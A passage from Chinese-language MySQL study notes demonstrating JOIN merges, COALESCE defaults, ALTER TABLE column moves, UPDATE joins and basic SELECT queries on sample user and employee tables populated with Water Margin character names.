    create_time DATETIME NOT null DEFAULT CURRENT_TIMESTAMP
);

DESC user3_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user3_tb
+-------------+------------------+------+-----+-------------------+-------------------+
| Field       | Type             | Null | Key | Default           | Extra             |
+-------------+------------------+------+-----+-------------------+-------------------+
| id          | int              | NO   | PRI | &amp;lt;null&amp;gt;            | auto_increment    |
| user_name   | varchar(30)      | NO   | UNI | &amp;lt;null&amp;gt;            |                   |
| real_name   | varchar(20)      | NO   |     | &amp;lt;null&amp;gt;            |                   |
| gender      | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;            |                   |
| height      | decimal(5,2)     | YES  |     | &amp;lt;null&amp;gt;            |                   |
| weight      | double(6,3)      | YES  |     | &amp;lt;null&amp;gt;            |                   |
| rating      | float(3,2)       | YES  |     | &amp;lt;null&amp;gt;            |                   |
| qq          | varchar(13)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
| wx          | varchar(25)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
| create_time | datetime         | NO   |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED |
+-------------+------------------+------+-----+-------------------+-------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip[&lt;code&gt;JOIN&lt;/code&gt;]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;INNER JOIN&lt;/code&gt; 合并时，两张表的失匹项都将被舍弃．&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LEFT JOIN&lt;/code&gt; 合并时，左表完全保留，失匹项来自右表的字段将被设为默认值；右表的失匹项将被舍弃．&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RIGHT JOIN&lt;/code&gt; 合并时，右表完全保留，失匹项来自左表的字段将被设为默认值；左表的失匹项将被舍弃．
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;内合并：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT INTO user3_tb
    (user_name, create_time, real_name, gender, qq, wx,
     height, weight, rating)
SELECT
    u.user_name, u.create_time, u.real_name, u.gender, u.qq, u.wx,
    v.height, v.weight, v.rating
FROM user_tb u
INNER JOIN user2_tb v
ON u.user_name = v.user_name;

SELECT * FROM user3_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;注：这里漏了一段操作．
user2_tb 的 `Not Found` 原本是别的值，
合并后的 user3_tb 原本有 4 个项，
后面改过来的时候需要 DELETE 整个 user3_tb，
计数器不归零，但本应从 5 开始，而下面从 8 开始．

user3_tb (INNER JOIN)
+----+-----------+-----------+--------+--------+--------+--------+-----------+------------+---------------------+
| id | user_name | real_name | gender | height | weight | rating | qq        | wx         | create_time         |
+----+-----------+-----------+--------+--------+--------+--------+-----------+------------+---------------------+
| 8  | nisemono  | 张三      | 0      | 1.77   | 60.0   | 1.0    | &amp;lt;null&amp;gt;    | wx_qwerty  | 2026-01-25 20:06:34 |
| 9  | ice       | 王五      | 0      | 1.75   | 62.0   | 1.23   | 0D000721  | &amp;lt;null&amp;gt;     | 2026-01-25 20:39:45 |
| 10 | tourist   | 孙七      | 0      | 1.80   | 68.2   | 1.78   | 810114514 | wx_TOURIST | 2026-01-25 21:56:24 |
+----+-----------+-----------+--------+--------+--------+--------+-----------+------------+---------------------+
  ⬆（跳号，bulk insert 不保证连续）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;左合并：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM user3_tb;

INSERT INTO user3_tb
    (user_name, create_time, real_name, gender, qq, wx,
     height, weight, rating)
SELECT
    u.user_name, u.create_time, u.real_name, u.gender, u.qq, u.wx,
    v.height, v.weight, v.rating
FROM user_tb u
LEFT JOIN user2_tb v
ON u.user_name = v.user_name;

SELECT * FROM user3_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user3_tb (LEFT JOIN)
+----+------------+-----------+--------+--------+--------+--------+------------+------------+---------------------+
| id | user_name  | real_name | gender | height | weight | rating | qq         | wx         | create_time         |
+----+------------+-----------+--------+--------+--------+--------+------------+------------+---------------------+
| 11 | nisemono   | 张三      | 0      | 1.77   | 60.0   | 1.0    | &amp;lt;null&amp;gt;     | wx_qwerty  | 2026-01-25 20:06:34 |
| 12 | shy-vector | 李四      | 1      | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt;     | shy_vector | 2026-01-25 20:06:34 |
| 13 | ice        | 王五      | 0      | 1.75   | 62.0   | 1.23   | 0D000721   | &amp;lt;null&amp;gt;     | 2026-01-25 20:39:45 |
| 14 | aha        | 赵六      | 1      | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; | 1145141919 | &amp;lt;null&amp;gt;     | 2026-01-25 20:42:10 |
| 15 | tourist    | 孙七      | 0      | 1.80   | 68.2   | 1.78   | 810114514  | wx_TOURIST | 2026-01-25 21:56:24 |
+----+------------+-----------+--------+--------+--------+--------+------------+------------+---------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;带默认值的左合并：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM user3_tb;

INSERT INTO user3_tb
    (user_name, create_time, real_name, gender, qq, wx,
     height, weight, rating)
SELECT
    u.user_name, u.create_time, u.real_name, u.gender, u.qq, u.wx,
    COALESCE(v.height, 9.99), COALESCE(v.weight, 999.9), COALESCE(v.rating, 9.99)
FROM user_tb u
LEFT JOIN user2_tb v
ON u.user_name = v.user_name;

SELECT * FROM user3_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user3_tb
+----+------------+-----------+--------+--------+--------+--------+------------+------------+---------------------+
| id | user_name  | real_name | gender | height | weight | rating | qq         | wx         | create_time         |
+----+------------+-----------+--------+--------+--------+--------+------------+------------+---------------------+
| 18 | nisemono   | 张三      | 0      | 1.77   |  60.0  | 1.0    | &amp;lt;null&amp;gt;     | wx_qwerty  | 2026-01-25 20:06:34 |
| 19 | shy-vector | 李四      | 1      | 9.99   | 999.9  | 9.99   | &amp;lt;null&amp;gt;     | shy_vector | 2026-01-25 20:06:34 |
| 20 | ice        | 王五      | 0      | 1.75   |  62.0  | 1.23   | 0D000721   | &amp;lt;null&amp;gt;     | 2026-01-25 20:39:45 |
| 21 | aha        | 赵六      | 1      | 9.99   | 999.9  | 9.99   | 1145141919 | &amp;lt;null&amp;gt;     | 2026-01-25 20:42:10 |
| 22 | tourist    | 孙七      | 0      | 1.80   |  68.2  | 1.78   | 810114514  | wx_TOURIST | 2026-01-25 21:56:24 |
+----+------------+-----------+--------+--------+--------+--------+------------+------------+---------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;移动列&lt;/strong&gt;至开头、某列的后面，调整字段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DESC user_tb;

ALTER TABLE user_tb
    MODIFY COLUMN create_time DATETIME NOT null DEFAULT CURRENT_TIMESTAMP FIRST,
    MODIFY COLUMN user_name VARCHAR(30) NOT null UNIQUE AFTER real_name;

DESC user_tb;
SELECT * FROM user_tb;

ALTER TABLE user_tb
    DROP COLUMN id,
    DROP COLUMN real_name,
    DROP COLUMN qq,
    DROP COLUMN wx;
    ADD COLUMN height DECIMAL(5,2),
    ADD COLUMN weight DOUBLE(6,3),
    ADD COLUMN rating FLOAT(3,2);

DESC user_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+-------------+------------------+------+-----+-------------------+-------------------+
| Field       | Type             | Null | Key | Default           | Extra             |
+-------------+------------------+------+-----+-------------------+-------------------+
| id          | int              | NO   | PRI | &amp;lt;null&amp;gt;            | auto_increment    |
| user_name   | varchar(30)      | NO   | UNI | &amp;lt;null&amp;gt;            |                   |
| create_time | datetime         | NO   |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED |
| real_name   | varchar(20)      | NO   |     | &amp;lt;null&amp;gt;            |                   |
| gender      | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;            |                   |
| qq          | varchar(13)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
| wx          | varchar(25)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
+-------------+------------------+------+-----+-------------------+-------------------+

user_tb
+-------------+------------------+------+-----+-------------------+-------------------+
| Field       | Type             | Null | Key | Default           | Extra             |
+-------------+------------------+------+-----+-------------------+-------------------+
| create_time | datetime         | NO   |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED |
| id          | int              | NO   | PRI | &amp;lt;null&amp;gt;            | auto_increment    |
| real_name   | varchar(20)      | NO   |     | &amp;lt;null&amp;gt;            |                   |
| user_name   | varchar(30)      | NO   | UNI | &amp;lt;null&amp;gt;            |                   |
| gender      | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;            |                   |
| qq          | varchar(13)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
| wx          | varchar(25)      | YES  | UNI | &amp;lt;null&amp;gt;            |                   |
+-------------+------------------+------+-----+-------------------+-------------------+

user_tb
+---------------------+----+-----------+------------+--------+------------+------------+
| create_time         | id | real_name | user_name  | gender | qq         | wx         |
+---------------------+----+-----------+------------+--------+------------+------------+
| 2026-01-25 20:06:34 | 1  | 张三      | nisemono   | 0      | &amp;lt;null&amp;gt;     | wx_qwerty  |
| 2026-01-25 20:06:34 | 2  | 李四      | shy-vector | 1      | &amp;lt;null&amp;gt;     | shy_vector |
| 2026-01-25 20:39:45 | 3  | 王五      | ice        | 0      | 0D000721   | &amp;lt;null&amp;gt;     |
| 2026-01-25 20:42:10 | 4  | 赵六      | aha        | 1      | 1145141919 | &amp;lt;null&amp;gt;     |
| 2026-01-25 21:56:24 | 6  | 孙七      | tourist    | 0      | 810114514  | wx_TOURIST |
+---------------------+----+-----------+------------+--------+------------+------------+

user_tb
+-------------+------------------+------+-----+-------------------+-------------------+
| Field       | Type             | Null | Key | Default           | Extra             |
+-------------+------------------+------+-----+-------------------+-------------------+
| create_time | datetime         | NO   |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED |
| user_name   | varchar(30)      | NO   | PRI | &amp;lt;null&amp;gt;            |                   |
| gender      | tinyint unsigned | YES  |     | &amp;lt;null&amp;gt;            |                   |
| height      | decimal(5,2)     | YES  |     | &amp;lt;null&amp;gt;            |                   |
| weight      | double(6,3)      | YES  |     | &amp;lt;null&amp;gt;            |                   |
| rating      | float(3,2)       | YES  |     | &amp;lt;null&amp;gt;            |                   |
+-------------+------------------+------+-----+-------------------+-------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;就地合并&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE user_tb u
JOIN user2_tb v ON u.user_name = v.user_name
SET u.height = v.height, u.weight = v.weight, u.rating = v.rating;

SELECT * FROM user_tb;

UPDATE user_tb
SET
    height = IFNULL(height, 9.99),
    weight = IFNULL(weight, 999.9),
    rating = IFNULL(rating, 9.99)
WHERE height IS null OR weight IS null OR rating IS null;

SELECT * FROM user_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user_tb
+---------------------+------------+--------+--------+--------+--------+
| create_time         | user_name  | gender | height | weight | rating |
+---------------------+------------+--------+--------+--------+--------+
| 2026-01-25 20:42:10 | aha        | 1      | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; |
| 2026-01-25 20:39:45 | ice        | 0      | 1.75   | 62.0   | 1.23   |
| 2026-01-25 20:06:34 | nisemono   | 0      | 1.77   | 60.0   | 1.0    |
| 2026-01-25 20:06:34 | shy-vector | 1      | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; |
| 2026-01-25 21:56:24 | tourist    | 0      | 1.80   | 68.2   | 1.78   |
+---------------------+------------+--------+--------+--------+--------+

user_tb
+---------------------+------------+--------+--------+--------+--------+
| create_time         | user_name  | gender | height | weight | rating |
+---------------------+------------+--------+--------+--------+--------+
| 2026-01-25 20:42:10 | aha        | 1      | 9.99   | 999.9  | 9.99   |
| 2026-01-25 20:39:45 | ice        | 0      | 1.75   |  62.0  | 1.23   |
| 2026-01-25 20:06:34 | nisemono   | 0      | 1.77   |  60.0  | 1.0    |
| 2026-01-25 20:06:34 | shy-vector | 1      | 9.99   | 999.9  | 9.99   |
| 2026-01-25 21:56:24 | tourist    | 0      | 1.80   |  68.2  | 1.78   |
+---------------------+------------+--------+--------+--------+--------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SELECT&lt;/code&gt; 语法结构&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT
    字段列表
FROM
    表名列表
WHERE
    条件列表
GROUP  BY
    分组字段列表
HAVING
    分组后条件列表
ORDER BY
    排序字段列表
LIMIT
    分页参数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;准备样例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;create table emp_tb(
    id int unsigned primary key auto_increment comment &apos;ID,主键&apos;,
    username varchar(20) not null unique comment &apos;用户名&apos;,
    password varchar(32) not null comment &apos;密码&apos;,
    name varchar(10) not null comment &apos;姓名&apos;,
    gender tinyint unsigned not null comment &apos;性别, 1:男, 2:女&apos;,
    phone char(11) not null unique comment &apos;手机号&apos;,
    job tinyint unsigned comment &apos;职位, 1:班主任,2:讲师,3:学工主管,4:教研主管,5:咨询师&apos;,
    salary int unsigned comment &apos;薪资&apos;,
    image varchar(300) comment &apos;头像&apos;,
    entry_date date comment &apos;入职日期&apos;,
    create_time datetime comment &apos;创建时间&apos;,
    update_time datetime comment &apos;修改时间&apos;
) comment &apos;员工表&apos;;

INSERT INTO emp_tb
    (id, username, password, name, gender, phone, job, salary, image, entry_date, create_time, update_time)
VALUES
    (1,&apos;shinaian&apos;,&apos;123456&apos;,&apos;施耐庵&apos;,1,&apos;13309090001&apos;,4,15000,&apos;1.jpg&apos;,&apos;2000-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:35&apos;),
    (2,&apos;songjiang&apos;,&apos;123456&apos;,&apos;宋江&apos;,1,&apos;13309090002&apos;,2,8600,&apos;2.jpg&apos;,&apos;2015-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:37&apos;),
    (3,&apos;lujunyi&apos;,&apos;123456&apos;,&apos;卢俊义&apos;,1,&apos;13309090003&apos;,2,8900,&apos;3.jpg&apos;,&apos;2008-05-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:39&apos;),
    (4,&apos;wuyong&apos;,&apos;123456&apos;,&apos;吴用&apos;,1,&apos;13309090004&apos;,2,9200,&apos;4.jpg&apos;,&apos;2007-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:41&apos;),
    (5,&apos;gongsunsheng&apos;,&apos;123456&apos;,&apos;公孙胜&apos;,1,&apos;13309090005&apos;,2,9500,&apos;5.jpg&apos;,&apos;2012-12-05&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:43&apos;),
    (6,&apos;huosanniang&apos;,&apos;123456&apos;,&apos;扈三娘&apos;,2,&apos;13309090006&apos;,3,6500,&apos;6.jpg&apos;,&apos;2013-09-05&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:45&apos;),
    (7,&apos;chaijin&apos;,&apos;123456&apos;,&apos;柴进&apos;,1,&apos;13309090007&apos;,1,4700,&apos;7.jpg&apos;,&apos;2005-08-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:47&apos;),
    (8,&apos;likui&apos;,&apos;123456&apos;,&apos;李逵&apos;,1,&apos;13309090008&apos;,1,4800,&apos;8.jpg&apos;,&apos;2014-11-09&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:49&apos;),
    (9,&apos;wusong&apos;,&apos;123456&apos;,&apos;武松&apos;,1,&apos;13309090009&apos;,1,4900,&apos;9.jpg&apos;,&apos;2011-03-11&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:51&apos;),
    (10,&apos;lichong&apos;,&apos;123456&apos;,&apos;林冲&apos;,1,&apos;13309090010&apos;,1,5000,&apos;10.jpg&apos;,&apos;2013-09-05&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:53&apos;),
    (11,&apos;huyanzhuo&apos;,&apos;123456&apos;,&apos;呼延灼&apos;,1,&apos;13309090011&apos;,2,9700,&apos;11.jpg&apos;,&apos;2007-02-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:55&apos;),
    (12,&apos;xiaoliguang&apos;,&apos;123456&apos;,&apos;小李广&apos;,1,&apos;13309090012&apos;,2,10000,&apos;12.jpg&apos;,&apos;2008-08-18&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:57&apos;),
    (13,&apos;yangzhi&apos;,&apos;123456&apos;,&apos;杨志&apos;,1,&apos;13309090013&apos;,1,5300,&apos;13.jpg&apos;,&apos;2012-11-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:35:59&apos;),
    (14,&apos;shijin&apos;,&apos;123456&apos;,&apos;史进&apos;,1,&apos;13309090014&apos;,2,10600,&apos;14.jpg&apos;,&apos;2002-08-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:01&apos;),
    (15,&apos;sunerniang&apos;,&apos;123456&apos;,&apos;孙二娘&apos;,2,&apos;13309090015&apos;,2,10900,&apos;15.jpg&apos;,&apos;2011-05-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:03&apos;),
    (16,&apos;luzhishen&apos;,&apos;123456&apos;,&apos;鲁智深&apos;,1,&apos;13309090016&apos;,2,9600,&apos;16.jpg&apos;,&apos;2010-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:05&apos;),
    (17,&apos;liying&apos;,&apos;12345678&apos;,&apos;李应&apos;,1,&apos;13309090017&apos;,1,5800,&apos;17.jpg&apos;,&apos;2015-03-21&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:07&apos;),
    (18,&apos;shiqian&apos;,&apos;123456&apos;,&apos;时迁&apos;,1,&apos;13309090018&apos;,2,10200,&apos;18.jpg&apos;,&apos;2015-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:09&apos;),
    (19,&apos;gudasao&apos;,&apos;123456&apos;,&apos;顾大嫂&apos;,2,&apos;13309090019&apos;,2,10500,&apos;19.jpg&apos;,&apos;2008-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:11&apos;),
    (20,&apos;ruanxiaoer&apos;,&apos;123456&apos;,&apos;阮小二&apos;,1,&apos;13309090020&apos;,2,10800,&apos;20.jpg&apos;,&apos;2018-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:13&apos;),
    (21,&apos;ruanxiaowu&apos;,&apos;123456&apos;,&apos;阮小五&apos;,1,&apos;13309090021&apos;,5,5200,&apos;21.jpg&apos;,&apos;2015-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:15&apos;),
    (22,&apos;ruanxiaoqi&apos;,&apos;123456&apos;,&apos;阮小七&apos;,1,&apos;13309090022&apos;,5,5500,&apos;22.jpg&apos;,&apos;2016-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:17&apos;),
    (23,&apos;ruanji&apos;,&apos;123456&apos;,&apos;阮籍&apos;,1,&apos;13309090023&apos;,5,5800,&apos;23.jpg&apos;,&apos;2012-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:19&apos;),
    (24,&apos;tongwei&apos;,&apos;123456&apos;,&apos;童威&apos;,1,&apos;13309090024&apos;,5,5000,&apos;24.jpg&apos;,&apos;2006-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:21&apos;),
    (25,&apos;tongmeng&apos;,&apos;123456&apos;,&apos;童猛&apos;,1,&apos;13309090025&apos;,5,4800,&apos;25.jpg&apos;,&apos;2002-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:23&apos;),
    (26,&apos;yanshun&apos;,&apos;123456&apos;,&apos;燕顺&apos;,1,&apos;13309090026&apos;,5,5400,&apos;26.jpg&apos;,&apos;2011-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:25&apos;),
    (27,&apos;lijun&apos;,&apos;123456&apos;,&apos;李俊&apos;,1,&apos;13309090027&apos;,5,6600,&apos;27.jpg&apos;,&apos;2004-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:27&apos;),
    (28,&apos;lizhong&apos;,&apos;123456&apos;,&apos;李忠&apos;,1,&apos;13309090028&apos;,5,5000,&apos;28.jpg&apos;,&apos;2007-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:29&apos;),
    (29,&apos;songqing&apos;,&apos;123456&apos;,&apos;宋清&apos;,1,&apos;13309090029&apos;,5,5100,&apos;29.jpg&apos;,&apos;2020-01-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:31&apos;),
    (30,&apos;liyun&apos;,&apos;123456&apos;,&apos;李云&apos;,1,&apos;13309090030&apos;,NULL,NULL,&apos;30.jpg&apos;,&apos;2020-03-01&apos;,&apos;2024-04-11 16:35:33&apos;,&apos;2024-04-11 16:36:31&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;+----+--------------+----------+--------+--------+-------------+--------+--------+--------+------------+---------------------+---------------------+
| id | username     | password | name   | gender | phone       | job    | salary | image  | entry_date | create_time         | update_time         |
+----+--------------+----------+--------+--------+-------------+--------+--------+--------+------------+---------------------+---------------------+
| 1  | shinaian     | 123456   | 施耐庵 | 1      | 13309090001 | 4      | 15000  | 1.jpg  | 2000-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:35:35 |
| 2  | songjiang    | 123456   | 宋江   | 1      | 13309090002 | 2      | 8600   | 2.jpg  | 2015-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:35:37 |
| 3  | lujunyi      | 123456   | 卢俊义 | 1      | 13309090003 | 2      | 8900   | 3.jpg  | 2008-05-01 | 2024-04-11 16:35:33 | 2024-04-11 16:35:39 |
| 4  | wuyong       | 123456   | 吴用   | 1      | 13309090004 | 2      | 9200   | 4.jpg  | 2007-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:35:41 |
| 5  | gongsunsheng | 123456   | 公孙胜 | 1      | 13309090005 | 2      | 9500   | 5.jpg  | 2012-12-05 | 2024-04-11 16:35:33 | 2024-04-11 16:35:43 |
| 6  | huosanniang  | 123456   | 扈三娘 | 2      | 13309090006 | 3      | 6500   | 6.jpg  | 2013-09-05 | 2024-04-11 16:35:33 | 2024-04-11 16:35:45 |
| 7  | chaijin      | 123456   | 柴进   | 1      | 13309090007 | 1      | 4700   | 7.jpg  | 2005-08-01 | 2024-04-11 16:35:33 | 2024-04-11 16:35:47 |
| 8  | likui        | 123456   | 李逵   | 1      | 13309090008 | 1      | 4800   | 8.jpg  | 2014-11-09 | 2024-04-11 16:35:33 | 2024-04-11 16:35:49 |
| 9  | wusong       | 123456   | 武松   | 1      | 13309090009 | 1      | 4900   | 9.jpg  | 2011-03-11 | 2024-04-11 16:35:33 | 2024-04-11 16:35:51 |
| 10 | lichong      | 123456   | 林冲   | 1      | 13309090010 | 1      | 5000   | 10.jpg | 2013-09-05 | 2024-04-11 16:35:33 | 2024-04-11 16:35:53 |
| 11 | huyanzhuo    | 123456   | 呼延灼 | 1      | 13309090011 | 2      | 9700   | 11.jpg | 2007-02-01 | 2024-04-11 16:35:33 | 2024-04-11 16:35:55 |
| 12 | xiaoliguang  | 123456   | 小李广 | 1      | 13309090012 | 2      | 10000  | 12.jpg | 2008-08-18 | 2024-04-11 16:35:33 | 2024-04-11 16:35:57 |
| 13 | yangzhi      | 123456   | 杨志   | 1      | 13309090013 | 1      | 5300   | 13.jpg | 2012-11-01 | 2024-04-11 16:35:33 | 2024-04-11 16:35:59 |
| 14 | shijin       | 123456   | 史进   | 1      | 13309090014 | 2      | 10600  | 14.jpg | 2002-08-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:01 |
| 15 | sunerniang   | 123456   | 孙二娘 | 2      | 13309090015 | 2      | 10900  | 15.jpg | 2011-05-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:03 |
| 16 | luzhishen    | 123456   | 鲁智深 | 1      | 13309090016 | 2      | 9600   | 16.jpg | 2010-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:05 |
| 17 | liying       | 12345678 | 李应   | 1      | 13309090017 | 1      | 5800   | 17.jpg | 2015-03-21 | 2024-04-11 16:35:33 | 2024-04-11 16:36:07 |
| 18 | shiqian      | 123456   | 时迁   | 1      | 13309090018 | 2      | 10200  | 18.jpg | 2015-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:09 |
| 19 | gudasao      | 123456   | 顾大嫂 | 2      | 13309090019 | 2      | 10500  | 19.jpg | 2008-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:11 |
| 20 | ruanxiaoer   | 123456   | 阮小二 | 1      | 13309090020 | 2      | 10800  | 20.jpg | 2018-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:13 |
| 21 | ruanxiaowu   | 123456   | 阮小五 | 1      | 13309090021 | 5      | 5200   | 21.jpg | 2015-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:15 |
| 22 | ruanxiaoqi   | 123456   | 阮小七 | 1      | 13309090022 | 5      | 5500   | 22.jpg | 2016-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:17 |
| 23 | ruanji       | 123456   | 阮籍   | 1      | 13309090023 | 5      | 5800   | 23.jpg | 2012-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:19 |
| 24 | tongwei      | 123456   | 童威   | 1      | 13309090024 | 5      | 5000   | 24.jpg | 2006-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:21 |
| 25 | tongmeng     | 123456   | 童猛   | 1      | 13309090025 | 5      | 4800   | 25.jpg | 2002-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:23 |
| 26 | yanshun      | 123456   | 燕顺   | 1      | 13309090026 | 5      | 5400   | 26.jpg | 2011-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:25 |
| 27 | lijun        | 123456   | 李俊   | 1      | 13309090027 | 5      | 6600   | 27.jpg | 2004-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:27 |
| 28 | lizhong      | 123456   | 李忠   | 1      | 13309090028 | 5      | 5000   | 28.jpg | 2007-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:29 |
| 29 | songqing     | 123456   | 宋清   | 1      | 13309090029 | 5      | 5100   | 29.jpg | 2020-01-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:31 |
| 30 | liyun        | 123456   | 李云   | 1      | 13309090030 | &amp;lt;null&amp;gt; | &amp;lt;null&amp;gt; | 30.jpg | 2020-03-01 | 2024-04-11 16:35:33 | 2024-04-11 16:36:31 |
+----+--------------+----------+--------+--------+-------------+--------+--------+--------+------------+---------------------+---------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;基本查询&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT username 用户名, name 真实姓名, phone 手机号 FROM emp_tb;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;+--------------+----------+-------------+
| 用户名       | 真实姓名 | 手机号      |
+--------------+----------+-------------+
| shinaian     | 施耐庵   | 13309090001 |
| songjiang    | 宋江     | 13309090002 |
| lujunyi      | 卢俊义   | 13309090003 |
| wuyong       | 吴用     | 13309090004 |
| gongsunsheng | 公孙胜   | 13309090005 |
| huosanniang  | 扈三娘   | 13309090006 |
| chaijin      | 柴进     | 13309090007 |
| likui        | 李逵     | 13309090008 |
| wusong       | 武松     | 13309090009 |
| lichong      | 林冲     | 13309090010 |
| huyanzhuo    | 呼延灼   | 13309090011 |
| xiaoliguang  | 小李广   | 13309090012 |
| yangzhi      | 杨志     | 13309090013 |
| shijin       | 史进     | 13309090014 |
| sunerniang   | 孙二娘   | 13309090015 |
| luzhishen    | 鲁智深   | 13309090016 |
| liying       | 李应     | 13309090017 |
| shiqian      | 时迁     | 13309090018 |
| gudasao      | 顾大嫂   | 13309090019 |
| ruanxiaoer   | 阮小二   | 13309090020 |
| ruanxiaowu   | 阮小五   | 13309090021 |
| ruanxiaoqi   | 阮小七   | 13309090022 |
| ruanji       | 阮籍     | 13309090023 |
| tongwei      | 童威     | 13309090024 |
| tongmeng     | 童猛     | 13309090025 |
| yanshun      | 燕顺     | 13309090026 |
| lijun        | 李俊     | 13309090027 |
| lizhong      | 李忠     | 13309090028 |
| songqing     | 宋清     | 13309090029 |
| liyun        | 李云     | 13309090030 |
+--------------+----------+-------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;条件查询、聚合统计、聚合前分组、聚合后条件查询、聚合后升降序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT
